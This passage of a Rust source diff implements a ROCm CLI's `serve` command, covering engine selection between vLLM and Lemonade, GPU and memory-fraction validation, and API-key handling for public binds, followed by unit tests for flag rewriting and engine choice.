{ + skip_value = true; + continue; + } + rewritten.push(flag); + } + rewritten.push("--gpu-memory-utilization".to_owned()); + rewritten.push(format!("{value}")); + *flags = rewritten; +} + +/// Parse `rocm serve --gpu-memory-utilization`. Unlike the env-var overrides +/// elsewhere in this file, an explicit CLI value is never silently ignored: a +/// user who types a bad fraction is told so. +fn parse_gpu_memory_utilization(value: Option<&str>) -> Result> { + let Some(raw) = value else { + return Ok(None); + }; + let trimmed = raw.trim(); + let parsed: f64 = trimmed.parse().map_err(|_| { + anyhow::anyhow!( + "--gpu-memory-utilization expects a fraction greater than 0 and at most 1 \ + (e.g. 0.5); got `{trimmed}`" + ) + })?; + if !parsed.is_finite() || parsed <= 0.0 || parsed > 1.0 { + bail!( + "--gpu-memory-utilization must be greater than 0 and at most 1 (a fraction of \ + the GPU's TOTAL VRAM, e.g. 0.5); got `{trimmed}`" + ); + } + Ok(Some(parsed)) +} + +/// Whether the resolved engine recipe launches vLLM with tool calling enabled. +fn engine_recipe_enables_tool_choice(hint: Option<&EngineRecipeHint>) -> bool { + hint.is_some_and(|hint| { + hint.required_flags + .iter() + .any(|flag| flag == "--enable-auto-tool-choice") + }) +} + +/// Parsed `rocm serve` arguments. Grouped into a struct to keep the dispatcher +/// and `serve()` readable now that the verb carries verbose/smoke-test controls. +pub(crate) struct ServeArgs { + pub(crate) model: String, + pub(crate) engine: Option, + pub(crate) device: Option, + pub(crate) gpu: Option, + pub(crate) runtime_id: Option, + pub(crate) env_id: Option, + pub(crate) host: String, + pub(crate) port: u16, + pub(crate) foreground: bool, + pub(crate) managed: bool, + pub(crate) verbose: bool, + pub(crate) no_smoke_test: bool, + pub(crate) allow_public_bind: bool, + pub(crate) require_api_key: bool, + pub(crate) tool_call_parser: Option, + pub(crate) gpu_memory_utilization: Option, + pub(crate) temperature: Option, + pub(crate) top_p: Option, + pub(crate) max_tokens: Option, + pub(crate) api_key: Option, +} + +pub(crate) fn serve(args: ServeArgs) -> Result<()> { + let ServeArgs { + model, + engine, + device, + gpu, + runtime_id, + env_id, + host, + port, + foreground, + managed, + verbose, + no_smoke_test, + allow_public_bind, + require_api_key, + tool_call_parser, + gpu_memory_utilization, + temperature, + top_p, + max_tokens, + api_key, + } = args; + let _ = managed; // background is now the default; --managed is accepted as an explicit synonym. + validate_bind_host(&host, allow_public_bind)?; + // Loopback stays credential-free; a public bind must be authenticated. Resolve + // (or generate) the endpoint key now so every downstream path — engine spawn, + // readiness probe, smoke test, and the client-config we print — shares one value. + // The `--api-key` flag wins; otherwise fall back to `ROCM_SERVE_API_KEY` (read + // here rather than via clap's `env` so it works without clap's `env` feature). + let supplied_key = api_key.or_else(|| { + std::env::var("ROCM_SERVE_API_KEY") + .ok() + .filter(|value| !value.trim().is_empty()) + }); + let endpoint_auth = resolve_endpoint_auth(&host, supplied_key.as_deref(), require_api_key)?; + let paths = AppPaths::discover()?; + let mut config = RocmCliConfig::load(&paths)?; + // Host GPU detection can involve sysfs/WSL probing, so only run it when engine + // selection would actually consult it: no explicit `--engine` and no non-empty + // configured `default_engine`. + let host_gpu_summary = if engine + .as_deref() + .is_some_and(|value| !value.trim().is_empty()) + || config + .default_engine + .as_deref() + .is_some_and(|value| !value.trim().is_empty()) + { + None + } else { + Some(detect_host_gpu_summary(Some(&paths))) + }; + let shared_recipe = resolve_model_recipe(&model)?; + let serve_engine = select_serve_engine( + engine.as_deref(), + config.default_engine.as_deref(), + shared_recipe.as_ref(), + host_gpu_summary.as_ref(), + ); + let selected_engine = serve_engine.engine.clone(); + // Fail closed: a public bind must be authenticated, but Windows managed + // Lemonade cannot receive the key (see `ensure_public_bind_engine_supported`), + // so refuse rather than launch an open public server. + ensure_public_bind_engine_supported(&selected_engine, endpoint_auth.is_some(), cfg!(windows))?; + let engine_model_ref = + serve_model_ref_for_engine(&model, shared_recipe.as_ref(), &selected_engine); + let recipe_hint = shared_recipe + .as_ref() + .filter(|recipe| model_recipe_supports_engine(recipe, &selected_engine)) + .and_then(|recipe| protocol_engine_recipe_hint(recipe, &selected_engine)); + // vLLM rejects the TUI chat tab's tool-bearing requests with HTTP 400 unless it + // is launched with `--enable-auto-tool-choice`/`--tool-call-parser`. The parser + // is model-specific and vLLM does not auto-detect it, so it is never guessed: it + // comes from authored catalog recipe metadata or an explicit `--tool-call-parser` + // override, applied here for vLLM only. + let engine_serves_vllm = selected_engine.eq_ignore_ascii_case("vllm"); + let engine_recipe = engine_recipe_with_tool_call_override( + &selected_engine, + recipe_hint, + tool_call_parser.as_deref(), + ); + // Validated before anything is launched so a typo fails immediately rather + // than surfacing as a vLLM argparse error deep in the engine log. + let gpu_memory_utilization = parse_gpu_memory_utilization(gpu_memory_utilization.as_deref())?; + let engine_recipe = engine_recipe_with_gpu_memory_utilization_override( + &selected_engine, + engine_recipe, + gpu_memory_utilization, + ); + // Stored without a `note:` prefix so it can feed both output paths: the plan + // path adds the prefix inline, the interactive summary adds it when rendering. + let gpu_memory_utilization_note = (gpu_memory_utilization.is_some() && !engine_serves_vllm) + .then(|| { + format!( + "--gpu-memory-utilization applies only to vLLM; ignored for engine '{selected_engine}'" + ) + }); + // Translate the engine-neutral CLI controls into each adapter's server-wide + // defaults: vLLM generation config or Lemonade llama.cpp launch flags. + let generation_defaults = ServeGenerationDefaults { + temperature, + top_p, + max_tokens, + }; + let engine_recipe = engine_recipe_with_generation_defaults( + &selected_engine, + engine_recipe, + generation_defaults, + )?; + let tool_call_note = if tool_call_parser.is_some() && !engine_serves_vllm { + Some(format!( + "note: --tool-call-parser applies only to vLLM; ignored for engine '{selected_engine}'" + )) + } else if engine_serves_vllm && !engine_recipe_enables_tool_choice(engine_recipe.as_ref()) { + Some( + "note: tool calling is disabled for this model; pass `--tool-call-parser ` (e.g. hermes, llama3_json, mistral) to enable it".to_owned(), + ) + } else { + None + }; + let device_policy = parse_device_policy(device.as_ref().map(|policy| policy.as_policy_str()))?; + let gpu_selection = parse_gpu_selection(gpu.as_deref())?; + // CPU-only serving never pins a GPU, so skip GPU resolution entirely and + // surface the explicit `--gpu` as ignored rather than printing a device the + // server will not use. + let cpu_only = matches!(device_policy, DevicePolicy::CpuOnly); + // AMD GPU ordinals still usable after the active visibility mask + // (`HIP_VISIBLE_DEVICES`, then `ROCR_VISIBLE_DEVICES`) is applied, in HIP + // ordinal space — the space `--gpu` is validated and exported through. A + // `ROCR_VISIBLE_DEVICES` mask hides devices below HIP, which re-indexes the + // survivors as `0..N`, so those HIP positions are what comes back here, not the + // physical ROCR token values. `None` means availability could not be probed + // (a non-Linux target, both KFD and DRM unreadable on Linux, or a mask this + // ordinal-only probe cannot interpret such as one naming UUIDs) — NOT WSL, + // which answers authoritatively via `detect_wsl_summary`. On `None` selection + // stays permissive and defers device validation to the engine. An empty set is + // the authoritative "no usable GPU", not "unknown". Computed once and reused + // for the fail-fast check below and for mask-aware GPU selection, so serve + // never auto-selects — or accepts an explicit `--gpu` for — a hidden device. + let visible_gpu_indices = if cpu_only { + None + } else { + rocm_core::usable_amd_gpu_indices() + }; + // Fail fast under a GPU-required policy when the host has no usable AMD GPU, + // BEFORE preparing or launching any engine (no wasted engine download, and an + // actionable message instead of a late engine crash). The engine enforces the + // same rule as a backstop. Skipped for cpu_only; permissive when availability + // cannot be probed on this platform (probe returns `None`). The E2E-only + // backend-failure scenario bypasses this host precondition so the black-box + // test reaches Lemonade's backend boundary without real GPU hardware. + let scripted_backend_failure = cfg!(feature = "e2e-test-hooks") + && std::env::var_os("ROCM_E2E_LEMONADE_BACKEND_INSTALL_FAILURE").is_some(); + if !cpu_only + && !scripted_backend_failure + && let Some(usable) = visible_gpu_indices.as_deref() + && usable.is_empty() + { + bail!( + "no usable AMD GPU detected; `rocm serve` requires a GPU under the {policy} \ + policy and does not fall back to CPU. Check the driver with `rocm examine`, \ + confirm /dev/kfd is present, and ensure HIP_VISIBLE_DEVICES / \ + ROCR_VISIBLE_DEVICES are not masking every device.", + policy = device_policy_name(&device_policy) + ); + } + // `--gpu` selects by the amd-smi `gpu` ordinal but is exported via + // `HIP_VISIBLE_DEVICES`; those orderings can diverge when + // `ROCR_VISIBLE_DEVICES`/partitioning is in play, so warn at serve time. + let rocr_visible_devices_set = std::env::var_os("ROCR_VISIBLE_DEVICES").is_some(); + // Whether *any* visibility mask is active. The visible set alone cannot say: + // with no mask it is just `0..present`, indistinguishable from a HIP mask + // that happens to list the low ordinals. `validate_pinned_gpu_index` uses + // this only to word its rejection — "under the active visibility mask" when a + // mask is set, "not present on this host" when none is — so an out-of-range + // `--gpu` on an unmasked host is not blamed on a mask the user never set. + let visibility_mask_active = + rocr_visible_devices_set || std::env::var_os("HIP_VISIBLE_DEVICES").is_some(); + let gpu_vram = if cpu_only { None } else { gpu_vram_usage() }; + // Validate an explicit `--gpu ` up front — before engine/runtime + // resolution — so an out-of-range or masked-out ordinal produces a + // GPU-specific refusal even when no ROCm runtime is configured. Otherwise the + // "no active ROCm runtime is configured" bail-out below pre-empts it and the + // user sees a generic runtime error for what is really a bad `--gpu` value. + // This is pure validation (no service-state read), so it needs no lock; + // `--gpu auto` reads live busy-GPU state and stays under `launch_lock` below. + let pinned_gpu_indices = if !cpu_only && let GpuSelection::Index(index) = &gpu_selection { + Some(validate_pinned_gpu_index( + *index, + detect_gpu_count(), + visible_gpu_indices.as_deref(), + visibility_mask_active, + )?) + } else { + None + }; + let resolved_selection = resolve_engine_selection( + &config, + &selected_engine, + runtime_id.as_deref(), + env_id.as_deref(), + ); + let resolved_selection = validate_engine_selection_runtime(&paths, resolved_selection)?; + if !matches!(device_policy, DevicePolicy::CpuOnly) + && resolved_selection.runtime_id.is_none() + && resolved_selection.env_id.is_none() + && !engine_manages_own_runtime(&selected_engine) + { + bail!( + "device_policy: {}; no active ROCm runtime is configured; run `rocm runtimes list` and `rocm runtimes activate `, or pass --runtime-id/--env-id", + device_policy_name(&device_policy) + ); + } + if !matches!(device_policy, DevicePolicy::CpuOnly) + && engine_manages_own_runtime(&selected_engine) + { + ensure_self_managed_engine_ready(&paths, &mut config, &selected_engine)?; + } + let resolve = engine_request::<_, ResolveModelResponse>( + Some(&paths), + &selected_engine, + EngineMethod::ResolveModel, + &ResolveModelRequest { + model_ref: engine_model_ref, + runtime_id: resolved_selection.runtime_id.clone(), + device_policy: Some(device_policy), + recipe_override: None, + engine_recipe, + }, + )?; + // Serialize GPU auto-selection with the managed-service claim: the busy-GPU + // read and the claiming record write inside `spawn_managed_engine_child` must + // be atomic, or two concurrent `rocm serve --gpu auto` can both read the same + // GPU as free and launch on it. Taken here — after engine resolution, + // self-managed runtime prep, and the `ResolveModel` RPC have all completed + // unlocked — so a slow first-use install (e.g. the Lemonade embeddable + // download/extract) never blocks an unrelated serve. + let (gpu_indices, launch_lock) = select_gpu_indices_under_launch_lock( + &paths, + cpu_only, + pinned_gpu_indices, + detect_gpu_count, + visible_gpu_indices.as_deref(), + gpu_vram.as_deref(), + )?; + let service_id = generate_service_id(&selected_engine, &resolve.canonical_model_id); + + // Attached foreground streaming is the debugging path, selected by `--verbose` + // or `--foreground`. Everything else backgrounds the server and, when writing + // to an interactive terminal, shows a progress spinner + deployment summary + // instead of a raw log stream. Piped/captured output (CI, the chat assistant) + // keeps the plain line-by-line form. + let use_foreground = foreground || verbose; + let background = !use_foreground; + let summary_mode = background && std::io::IsTerminal::is_terminal(&std::io::stdout()); + + if !summary_mode { + println!("serve plan"); + println!(" requested model: {model}"); + println!(" resolved model: {}", resolve.canonical_model_id); + println!(" engine: {selected_engine}"); + println!("{}", serve_engine_selection_line(&serve_engine)); + println!(" host: {host}"); + println!(" port: {port}"); + if let Some(runtime_id) = resolved_selection.runtime_id.as_deref() { + println!(" runtime_id: {runtime_id}"); + } + if let Some(env_id) = resolved_selection.env_id.as_deref() { + println!(" env_id: {env_id}"); + } + if let Some(source) = resolved_selection.source.as_deref() { + println!(" selection_source: {source}"); + } + println!( + " device_policy: {}", + device_policy_name(&resolve.device_policy) + ); + if cpu_only { + if matches!(gpu_selection, GpuSelection::Index(_)) { + println!( + " warning: --gpu was ignored because --device cpu_only runs the model on CPU" + ); + } + } else { + match &gpu_selection { + GpuSelection::Auto => { + let csv = rocm_engine_protocol::gpu_indices_to_csv(&gpu_indices) + .unwrap_or_else(|| "none".to_owned()); + println!(" gpu: auto (selected {csv})"); + } + GpuSelection::Index(_) => { + let csv = rocm_engine_protocol::gpu_indices_to_csv(&gpu_indices) + .unwrap_or_else(|| "none".to_owned()); + println!(" gpu: {csv}"); + } + } + if rocr_visible_devices_set { + println!( + " warning: ROCR_VISIBLE_DEVICES is set; the selected amd-smi ordinal is exported \ + via HIP_VISIBLE_DEVICES, which the runtime interprets relative to the \ + ROCR-visible set, so the device the engine binds may differ. Verify the \ + selected GPU or unset ROCR_VISIBLE_DEVICES." + ); + } + if let Some(warning) = serve_gpu_low_memory_warning( + &gpu_indices, + gpu_vram.as_deref(), + host_gpu_summary.as_ref(), + ) { + println!(" {warning}"); + if engine_serves_vllm { + println!(" note: {}", rocm_core::VLLM_GPU_MEMORY_UTILIZATION_HINT); + } + } + } + if let Some(engine_recipe) = &resolve.engine_recipe { + print!("{}", render_serve_engine_recipe_lines(engine_recipe)); + } + if let Some(note) = &tool_call_note { + println!(" {note}"); + } + if let Some(note) = &gpu_memory_utilization_note { + println!(" note: {note}"); + } + } + + let managed_runtime_id = resolved_selection.runtime_id.clone(); + let managed_env_id = resolved_selection.env_id.clone(); + + // Persist the endpoint key (public bind only) in a 0600 file so the engine + // child, the restart/recovery path, and inspection commands can retrieve it by + // service id. Loopback binds resolve to `None` and store nothing. + if let Some(key) = endpoint_auth.as_deref() { + endpoint_keys::store_endpoint_api_key(&paths, &service_id, key)?; + } + + if background { + let mut spinner = + cli_progress::Spinner::new(format!("Starting {model} on {selected_engine}…")); + spinner.tick(); + let report = start_managed_service( + &selected_engine, + &service_id, + &model, + &resolve, + &host, + port, + &resolve.device_policy, + &gpu_indices, + managed_runtime_id.as_deref(), + managed_env_id.as_deref(), + resolve.engine_recipe.as_ref(), + endpoint_auth.as_deref(), + launch_lock, + require_api_key, + &mut |_elapsed| spinner.tick(), + )?; + ensure_background_helper_running_quiet(summary_mode)?; + + // An equivalent service was already running, so nothing was spawned and the + // freshly generated key is unused — drop it rather than leave it orphaned in + // storage. The existing service keeps its own key. + if report.already_running { + drop_orphaned_endpoint_key_on_already_running( + &paths, + &service_id, + endpoint_auth.as_deref(), + ); + } + // Safe to move `endpoint_auth` here: this branch always returns, so the + // fall-through (attached) path below never observes it moved. + let launched_key = if report.already_running { + None + } else { + endpoint_auth + }; + + if summary_mode { + // Best-effort inference smoke test, on by default (opt out with + // `--no-smoke-test`). Only meaningful for a freshly-ready server we + // just launched; skipped when metrics could not be shown anyway. + let metrics = if !no_smoke_test && !report.already_running && report.status == "ready" { + spinner.set_label("Running smoke test…"); + // The local provider resolves the endpoint key from the per-service + // 0600 key file by service id, so the smoke test authenticates + // against a protected public endpoint without threading the secret + // through here. + serve_summary::run_smoke_test(&paths, &resolve.canonical_model_id) + } else { + serve_summary::SmokeMetrics::default() + }; + spinner.clear(); + + let notes = collect_serve_notes( + cpu_only, + &gpu_selection, + rocr_visible_devices_set, + &gpu_indices, + gpu_vram.as_deref(), + gpu_memory_utilization_note.as_deref(), + host_gpu_summary.as_ref(), + engine_serves_vllm, + ); + let summary = serve_summary::DeploymentSummary { + engine: selected_engine.clone(), + requested_model: model, + api_model: resolve.canonical_model_id, + chat_endpoint: format!("{}/chat/completions", report.endpoint_url), + service_id: report.service_id.clone(), + status: report.status.clone(), + already_running: report.already_running, + metrics, + api_key: launched_key, + notes, + }; + print!("{}", serve_summary::render_summary(&summary)); + } else { + spinner.clear(); + print_managed_launch_plain(&report, launched_key.as_deref()); + } + return Ok(()); + } + + run_attached_service( + &selected_engine, + &service_id, + &model, + &resolve, + &host, + port, + &gpu_indices, + resolved_selection.runtime_id.as_deref(), + resolved_selection.env_id.as_deref(), + endpoint_auth.as_deref(), + launch_lock, + require_api_key, + ) +} + +#[cfg(test)] +mod tests { + use std::collections::BTreeMap; + use std::fs; + use std::time::Duration; + + use super::*; + use rocm_core::resolve_builtin_model_recipe; + + use crate::tests::{test_paths, write_claiming_record}; + use crate::{ + DEFAULT_ENGINE_MARKER, append_examine_engine_inventory, build_freeform_plan_with_recipes, + render_engine_inventory_text_with_paths, + }; + + #[test] + fn hybrid_planner_bakes_the_host_engine_into_the_generated_serve_command() { + // The generated command carries an explicit `--engine`, which outranks + // every other signal in `select_serve_engine` -- including the configured + // default. So whatever this planner picks IS what runs, and on an Instinct + // host that must be vLLM. A GPU-blind constant here reintroduced the very + // bug this PR fixes, through the strongest override available. + // + // An empty recipe set is what reaches the host default: a request naming + // an engine, or a matched recipe that prefers one, is answered before the + // fallback -- correctly, since a GGUF model only Lemonade can serve must + // not be forced onto vLLM by the host. + let plan = build_freeform_plan_with_recipes( + "serve some/unmatched-model", + &RocmCliConfig::default(), + Some(&[]), + "vllm", + ); + + let engine_arg = plan + .actions + .iter() + .find_map(|action| { + let index = action.args.iter().position(|arg| arg == "--engine")?; + action.args.get(index + 1).cloned() + }) + .expect("the generated serve command must name an engine"); + assert_eq!( + engine_arg, "vllm", + "the host's engine must reach the generated command:\n{:?}", + plan.actions + ); + } + + #[test] + fn serve_engine_selection_uses_shared_recipe_when_no_override_exists() { + let recipe = resolve_builtin_model_recipe("qwen32b").expect("qwen32b recipe"); + + let selection = select_serve_engine(None, None, Some(&recipe), None); + + assert_eq!( + selection, + ServeEngineSelection { + engine: "vllm".to_owned(), + source: "recipe preferred engine; pass --engine to override; no automatic fallback", + } + ); + assert_eq!( + serve_engine_selection_line(&selection), + " engine_selection: recipe preferred engine; pass --engine to override; no automatic fallback" + ); + assert_eq!( + serve_model_ref_for_engine("qwen32b", Some(&recipe), "vllm"), + "Qwen/Qwen3-32B-FP8" + ); + } + + #[test] + fn serve_engine_selection_prefers_vllm_for_supported_gpus() { + let summary = rocm_core::HostGpuSummary { + therock_family: Some("gfx90a".to_owned()), + ..rocm_core::HostGpuSummary::default() + }; + + let selection = select_serve_engine(None, None, None, Some(&summary)); + + // vLLM is unsupported on native Windows, so the GPU-family preference is gated + // off there and selection falls back to the platform default. + let expected = if cfg!(windows) { + ServeEngineSelection { + engine: "lemonade".to_owned(), + source: "platform default", + } + } else { + ServeEngineSelection { + engine: "vllm".to_owned(), + source: "detected ROCm GPU family prefers vLLM", + } + }; + assert_eq!(selection, expected); + } + + #[test] + fn serve_engine_selection_keeps_recipe_engine_when_gpu_preference_is_incompatible() { + // qwen-smoke is a tiny GGUF model that only Lemonade can serve and has no vLLM + // recipe. Even on a vLLM-preferred GPU it must stay on Lemonade rather than being + // forced onto vLLM (which cannot load the GGUF and fails to locate the model). + let recipe = resolve_builtin_model_recipe("qwen-smoke").expect("qwen-smoke recipe"); + let summary = rocm_core::HostGpuSummary { + therock_family: Some("gfx90a".to_owned()), + ..rocm_core::HostGpuSummary::default() + }; + + let selection = select_serve_engine(None, None, Some(&recipe), Some(&summary)); + + assert_eq!( + selection, + ServeEngineSelection { + engine: "lemonade".to_owned(), + source: "recipe preferred engine; pass --engine to override; no automatic fallback", + } + ); + } + + #[test] + fn serve_qwen_uses_vllm_with_hf_repo_on_vllm_preferred_gpu() { + // The qwen alias serves the GGUF via Lemonade by default, but on a vLLM-preferred + // GPU it must serve the non-GGUF Hugging Face repo through vLLM. + let recipe = resolve_builtin_model_recipe("qwen").expect("qwen recipe"); + let summary = rocm_core::HostGpuSummary { + therock_family: Some("gfx94X-dcgpu".to_owned()), + ..rocm_core::HostGpuSummary::default() + }; + + let selection = select_serve_engine(None, None, Some(&recipe), Some(&summary)); + // On native Windows the vLLM preference is gated off, so the qwen recipe stays on + // its own preferred engine (Lemonade) instead of being routed to vLLM. + let expected = if cfg!(windows) { + ServeEngineSelection { + engine: "lemonade".to_owned(), + source: "recipe preferred engine; pass --engine to override; no automatic fallback", + } + } else { + ServeEngineSelection { + engine: "vllm".to_owned(), + source: "detected ROCm GPU family prefers vLLM", + } + }; + assert_eq!(selection, expected); + assert_eq!( + serve_model_ref_for_engine("qwen", Some(&recipe), "vllm"), + "Qwen/Qwen3-4B-Instruct-2507" + ); + // Lemonade keeps the GGUF canonical id. + assert_eq!( + serve_model_ref_for_engine("qwen", Some(&recipe), "lemonade"), + "Qwen3-4B-Instruct-2507-GGUF" + ); + } + + #[test] + fn explicit_engine_override_keeps_alias_when_shared_recipe_is_for_another_engine() { + // `qwen-smoke` is a Lemonade-only GGUF recipe (no vLLM engine recipe). + let recipe = resolve_builtin_model_recipe("qwen-smoke").expect("qwen-smoke recipe"); + + // Served under the engine it targets, the alias resolves to the canonical id. + assert_eq!( + serve_model_ref_for_engine("qwen-smoke", Some(&recipe), "lemonade"), + "Qwen3-0.6B-GGUF" + ); + // Under an engine the recipe does not support, the raw alias flows through unchanged. + assert_eq!( + serve_model_ref_for_engine("qwen-smoke", Some(&recipe), "vllm"), + "qwen-smoke" + ); + } + + #[test] + fn serve_engine_selection_respects_explicit_and_configured_engines() { + let recipe = resolve_builtin_model_recipe("qwen32b").expect("qwen32b recipe"); + + let explicit = select_serve_engine(Some("vllm"), Some("lemonade"), Some(&recipe), None); + let configured = select_serve_engine(None, Some("lemonade"), Some(&recipe), None); + + assert_eq!( + explicit, + ServeEngineSelection { + engine: "vllm".to_owned(), + source: "explicit --engine", + } + ); + assert_eq!( + configured, + ServeEngineSelection { + engine: "lemonade".to_owned(), + source: "configured default_engine", + } + ); + } + + #[test] + fn protocol_engine_recipe_hint_maps_selected_engine_metadata() { + let mut recipe = resolve_builtin_model_recipe("qwen").expect("qwen recipe"); + recipe.engine_recipes = vec![ + rocm_core::ModelRecipeEngineRecord { + engine: "vllm".to_owned(), + required_flags: vec!["--enable-auto-tool-choice".to_owned()], + parser_settings: BTreeMap::from([( + "reasoning_parser".to_owned(), + "qwen3".to_owned(), + )]), + preferred_endpoint: Some(rocm_core::ModelRecipeEndpointRecord { + endpoint_mode: "openai".to_owned(), + settings: BTreeMap::from([("streaming".to_owned(), "true".to_owned())]), + }), + unsupported_combinations: vec![ + rocm_core::ModelRecipeUnsupportedCombinationRecord { + combination: "native Windows GPU serving".to_owned(), + reason: "vLLM ROCm serving is Linux/WSL only".to_owned(), + }, + ], + notes: vec!["adapter hint".to_owned()], + model_id_override: None, + }, + rocm_core::ModelRecipeEngineRecord { + engine: "lemonade".to_owned(), + required_flags: vec!["--reasoning-parser".to_owned(), "qwen3".to_owned()], + parser_settings: BTreeMap::new(), + preferred_endpoint: None, + unsupported_combinations: Vec::new(), + notes: Vec::new(), + model_id_override: None, + }, + ]; + + let hint = protocol_engine_recipe_hint(&recipe, "vllm").expect("vllm hint"); + + assert_eq!(hint.contract_version, ENGINE_RECIPE_CONTRACT_VERSION); + assert_eq!(hint.engine, "vllm"); + assert_eq!( + hint.required_flags, + vec!["--enable-auto-tool-choice".to_owned()] + ); + assert_eq!( + hint.parser_settings + .get("reasoning_parser") + .map(String::as_str), + Some("qwen3") + ); + assert_eq!( + hint.preferred_endpoint + .as_ref() + .map(|endpoint| endpoint.endpoint_mode.as_str()), + Some("openai") + ); + assert_eq!( + hint.preferred_endpoint + .as_ref() + .and_then(|endpoint| endpoint.settings.get("streaming")) + .map(String::as_str), + Some("true") + ); + assert_eq!(hint.unsupported_combinations.len(), 1); + assert_eq!(hint.notes, vec!["adapter hint".to_owned()]); + let serve_lines = render_serve_engine_recipe_lines(&hint); + assert!(serve_lines.contains( + "engine_recipe_policy: selected-engine required_flags are applied at launch" + )); + assert!(serve_lines.contains("engine_recipe_required_flags: --enable-auto-tool-choice")); + assert!(protocol_engine_recipe_hint(&recipe, "unknown-engine").is_none()); + } + + #[test] + fn tool_call_override_synthesizes_hint_for_vllm_without_recipe() { + // Arbitrary HF repo with no catalog recipe: the explicit override is the + // only source of the parser, and a minimal hint is synthesized to carry it. + let hint = engine_recipe_with_tool_call_override("vllm", None, Some("hermes")) + .expect("an override should synthesize a vllm tool-choice hint"); + assert_eq!(hint.engine, "vllm"); + assert_eq!(hint.contract_version, ENGINE_RECIPE_CONTRACT_VERSION); + assert_eq!( + hint.required_flags, + vec![ + "--enable-auto-tool-choice".to_owned(), + "--tool-call-parser".to_owned(), + "hermes".to_owned(), + ] + ); + } + + #[test] + fn tool_call_override_replaces_recipe_authored_parser() { + // Override wins over an authored parser: exactly one `--tool-call-parser`, + // set to the override value, with unrelated flags preserved in order. + let existing = EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "vllm".to_owned(), + required_flags: vec![ + "--reasoning-parser".to_owned(), + "qwen3".to_owned(), + "--enable-auto-tool-choice".to_owned(), + "--tool-call-parser".to_owned(), + "llama3_json".to_owned(), + ], + ..EngineRecipeHint::default() + }; + let hint = + engine_recipe_with_tool_call_override("vllm", Some(existing), Some("hermes")).unwrap(); + assert_eq!( + hint.required_flags, + vec![ + "--reasoning-parser".to_owned(), + "qwen3".to_owned(), + "--enable-auto-tool-choice".to_owned(), + "--tool-call-parser".to_owned(), + "hermes".to_owned(), + ] + ); + assert_eq!( + hint.required_flags + .iter() + .filter(|flag| *flag == "--tool-call-parser") + .count(), + 1 + ); + } + + #[test] + fn tool_call_override_absent_preserves_recipe_flags_without_guessing() { + // No override: authored recipe metadata flows through unchanged and no + // parser is ever guessed from the model ref. + let authored = EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "vllm".to_owned(), + required_flags: vec![ + "--enable-auto-tool-choice".to_owned(), + "--tool-call-parser".to_owned(), + "hermes".to_owned(), + ], + ..EngineRecipeHint::default() + }; + let hint = + engine_recipe_with_tool_call_override("vllm", Some(authored.clone()), None).unwrap(); + assert_eq!(hint.required_flags, authored.required_flags); + + // Unknown model, no recipe, no override: nothing is injected. + assert!(engine_recipe_with_tool_call_override("vllm", None, None).is_none()); + // A blank override is treated as absent. + assert!(engine_recipe_with_tool_call_override("vllm", None, Some(" ")).is_none()); + } + + #[test] + fn tool_call_override_leaves_non_vllm_engines_untouched() { + // The override is vLLM-specific: other engines are never rewritten. + assert!(engine_recipe_with_tool_call_override("lemonade", None, Some("hermes")).is_none()); + let existing = EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "lemonade".to_owned(), + required_flags: vec!["--some-flag".to_owned()], + ..EngineRecipeHint::default() + }; + let hint = engine_recipe_with_tool_call_override( + "lemonade", + Some(existing.clone()), + Some("hermes"), + ) + .unwrap(); + assert_eq!(hint.required_flags, existing.required_flags); + } + + #[test] + fn gpu_memory_utilization_absent_without_explicit_flag() { + // rocm-cli ships no default: with nothing supplied the recipe is left + // alone, so vLLM applies its own default rather than one rocm-cli owns. + assert_eq!(parse_gpu_memory_utilization(None).unwrap(), None); + assert!(engine_recipe_with_gpu_memory_utilization_override("vllm", None, None).is_none()); + let authored = EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "vllm".to_owned(), + required_flags: vec!["--enable-auto-tool-choice".to_owned()], + ..EngineRecipeHint::default() + }; + let hint = engine_recipe_with_gpu_memory_utilization_override("vllm", Some(authored), None) + .unwrap(); + assert!( + !hint + .required_flags + .iter() + .any(|flag| flag == "--gpu-memory-utilization"), + "no default may be injected: {:?}", + hint.required_flags + ); + } + + #[test] + fn gpu_memory_utilization_override_reaches_required_flags() { + let value = parse_gpu_memory_utilization(Some("0.35")).unwrap(); + let hint = engine_recipe_with_gpu_memory_utilization_override("vllm", None, value) + .expect("an explicit value should synthesize a vllm hint"); + assert_eq!(hint.engine, "vllm"); + assert_eq!(hint.contract_version, ENGINE_RECIPE_CONTRACT_VERSION); + assert_eq!( + hint.required_flags, + vec!["--gpu-memory-utilization".to_owned(), "0.35".to_owned()] + ); + } + + #[test] + fn gpu_memory_utilization_override_replaces_authored_value_and_keeps_others() { + let existing = EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "vllm".to_owned(), + required_flags: vec![ + "--enable-auto-tool-choice".to_owned(), + "--gpu-memory-utilization".to_owned(), + "0.8".to_owned(), + "--tool-call-parser".to_owned(), + "hermes".to_owned(), + ], + ..EngineRecipeHint::default() + }; + let hint = engine_recipe_with_gpu_memory_utilization_override( + "vllm", + Some(existing), + parse_gpu_memory_utilization(Some("1.0")).unwrap(), + ) + .unwrap(); + assert_eq!( + hint.required_flags, + vec![ + "--enable-auto-tool-choice".to_owned(), + "--tool-call-parser".to_owned(), + "hermes".to_owned(), + "--gpu-memory-utilization".to_owned(), + "1".to_owned(), + ] + ); + } + + #[test] + fn gpu_memory_utilization_override_leaves_non_vllm_engines_untouched() { + // The override is vLLM-specific: other engines are never rewritten, with + // or without a recipe of their own. + assert!( + engine_recipe_with_gpu_memory_utilization_override("lemonade", None, Some(0.5)) + .is_none() + ); + let existing = EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: "lemonade".to_owned(), + required_flags: vec!["--some-flag".to_owned()], + ..EngineRecipeHint::default() + }; + let hint = engine_recipe_with_gpu_memory_utilization_override( + "lemonade", + Some(existing.clone()), + Some(0.5), + ) + .unwrap(); + assert_eq!(hint.required_flags, existing.required_flags); + } + + #[test] + fn gpu_memory_utilization_rejects_out_of_range_and_unparsable_values() { + // An explicit CLI value is never silently ignored (unlike the env-var + // overrides elsewhere): each bad value must produce an actionable error. + for bad in ["0", "0.0", "1.5", "-0.2", "abc", "", "NaN", "inf"] { + let Err(error) = parse_gpu_memory_utilization(Some(bad)) else { + panic!("`{bad}` must be rejected, not silently ignored"); + }; + let 